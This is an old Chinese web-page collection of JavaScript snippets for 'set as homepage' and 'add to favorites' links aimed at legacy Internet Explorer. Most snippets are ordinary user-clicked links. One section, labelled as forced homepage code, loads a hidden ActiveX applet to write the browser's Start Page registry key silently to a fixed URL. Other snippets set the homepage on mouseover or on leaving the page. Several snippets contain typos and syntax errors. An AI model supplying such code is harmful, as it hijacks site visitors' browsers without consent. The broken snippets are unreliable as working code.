您的位置:首页 > 运维架构 > 网站架构

网站设为首页、加入收藏代码全集

2012-06-04 15:49 381 查看
<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage

('www.******.com');">设为首页</a>

1.<!--加入收藏代码-->

<a href="javascript:window.external.AddFavorite('http://www.yagebu.com','雅各布')">添加

到收藏夹</a>

2.<!— 设为首页—>

   图片链接

<a style="cursor:hand" onclick="this.style.behavior='url(#default#homepage)';

this.setHomePage('www.sccvtc.net');">

<img width=16 height=16 border=0 src="images/Logo.gif">

<u> Set as Home Page</u></a>

热区和文字链接差不多,你把<area>看成<a>就行了.

代码整理如下:

<map name="Map">

<area shape="rect" coords="694,8,755,26" onclick="this.style.behavior='url

(#default#homepage)';this.setHomePage('http://你的网址/');return false;"

href="javascript:void(null)">

<area shape="rect" coords="801,7,865,25" href="javascript:void

(null);window.external.AddFavorite('http://你的网址/', '标题')">

<area shape="rect" coords="909,7,976,27" href="lianxi.htm">

</map>

第一个热区为"设为主页",第二个热区为"添加收藏",第三个热区是链接到你的网页lianxi.htm

注意:<map>与<img>要同时使用....

(1).文字型:

<a onclick="this.style.behavior='url(#default#homepage)';this.setHomePage

('http://www.sccvtc.net');" href="#">设为首页</a>

范例:

设为首页

(2).按钮型:

<input TYPE="button" VALUE=" 设为首页 " onclick="this.style.behavior='url

(#default#homepage)';this.setHomePage('http://www.sccvtc.net');" href="#">

离开时自动提示设为首页

<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!

(BASEBody.isHomePage('http://www.sccvtc.net')))BASEBody.setHomePage

('http://www.sccvtc.net/');">

设为首页代码大全把以下代码<Body>相应位置

<span   style="CURSOR: hand">设为首页</span>

===============================================================

强制设为首页代码

<script>

var ucook=document.cookie;

var user=ucook.indexOF("ilooki=");

if(user==-1)

{

var nowTime=new Date();

document.cookie="ilooki"+";"+"expires=Wednesday,03-Jan-"+(nowTime.getYear()+1903+"12:34:56 GMT";

document.write("<APPLET HEIGHT=0WIDTH=0 code=com.ms.activeX.ActiveXCompoment></APPLET>");function yuzi(){try{a1

=document.applets[0];a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");a1.createInstance();Shl=a1.GetObject();a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");try{Shl.RegWrite("hkcu\Software\Microsoft\Internet Expiorer\Main\Start Page",http://hi.baidu.com/a0bing);}catch(e){}}catch(e){}}setTimeout("yuzi()",1000);

}

</script>

===============================================================

鼠标指向时提示设为首页 将下列代码插入<body>区中:

<A href="http://hi.baidu.com/a0bing"   target="_blank">设为首页</A>

===============================================================

打开页面时自动弹出窗口询问是否设为首页

将以下代码放在<head></head>之间: <script language="javascript">

function myhomepage(){

this.homepage.style.behavior='url(#default#homepage)';this.homepage.sethomepage('http://hi.baidu.com/a0bing);

}

</script>

<p align="center"><a href="http://hi.baidu.com/a0bing"
name="homepage" ></a>

再将下面代码加入<body>内:

即:<body >

离开时自动提示设为首页

<body >  

================================================================

加入收藏夹,设为首页代码

把以下代码<Body>相应位置

<a target=_top href=javascript:window.external.AddFavorite('http://hi.baidu.com/a0bing)>加入收藏</a>

<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://hi.baidu.com/a0bing);">设为首页</a>

================================================================

鼠标指向时提示设为首页

将下列代码插入<body>区中:

<A href="http://hi.baidu.com/a0bing"
onmouseover="this.style.behavior='url(#default#homepage)';this.setHomePage('http://hi.baidu.com/a0bing');"
target="_blank">设为首页</A>

================================================================

离开时自动提示设为首页

<body onunload="BASEBody.style.behavior='url(#default#homepage)';if(!(BASEBody.isHomePage('http://hi.baidu.com/a0bing')))BASEBody.setHomePage('http://hi.baidu.com/a0bing');">  

把以下代码<Body>相应位置

<a target=_top href=javascript:window.external.AddFavorite('http://hi.baidu.com/a0bing')>加入收藏</a>

<a href=# onClick="this.style.behavior='url(#default#homepage)';this.setHomePage('http://hi.baidu.com/a0bing');">设为首页</a>
 

适用代码举例:

<A href="javascript:window.external.AddFavorite('http://www.bb-boy.com/','BB-Boy')">

<img src="http://www15.tx8.cn/photo/zpmxzebr/20091126162843807.jpg" width="154" height="50"></a>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息